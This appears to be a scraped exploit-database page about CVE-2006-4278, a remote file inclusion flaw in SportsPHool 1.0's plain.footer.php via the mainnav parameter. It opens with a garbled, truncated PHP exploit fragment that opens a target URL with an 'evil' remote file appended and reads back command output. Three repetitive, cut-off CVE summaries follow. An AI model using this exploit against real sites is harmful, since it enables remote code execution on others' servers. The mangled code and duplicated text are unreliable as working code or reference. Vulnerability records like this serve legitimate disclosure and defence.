SportsPHool 1.0 - Remote File Inclusion

SportsPHool 1.0 - Remote File Inclusion " ."target:" ."evil:" ."cmd:" ."" .""; if !isset$POST'submit' echo $form; else $file = fopen "test.txt", "w+"; fwrite$file, ""; fclose$file; $file = fopen $target.$evil, "r"; if !$file echo "Unable to get output.\n"; exit; echo $form; while !feof $file $lin...

CVE-2006-4278

PHP remote file inclusion vulnerability in includes/layout/plain.footer.php in SportsPHool 1.0 allows remote attackers to execute arbitrary PHP code via a URL in the mainnav parameter...

CVE-2006-4278

The CVE-2006-4278 entry describes a PHP remote file inclusion vulnerability in SportsPHool 1.0. Specifically, includes/layout/plain.footer.php is vulnerable, allowing remote attackers to execute arbitrary PHP code by supplying a URL in the mainnav parameter. This behavior is documented in multipl...

CVE-2006-4278

PHP remote file inclusion vulnerability in includes/layout/plain.footer.php in SportsPHool 1.0 allows remote attackers to execute arbitrary PHP code via a URL in the mainnav parameter...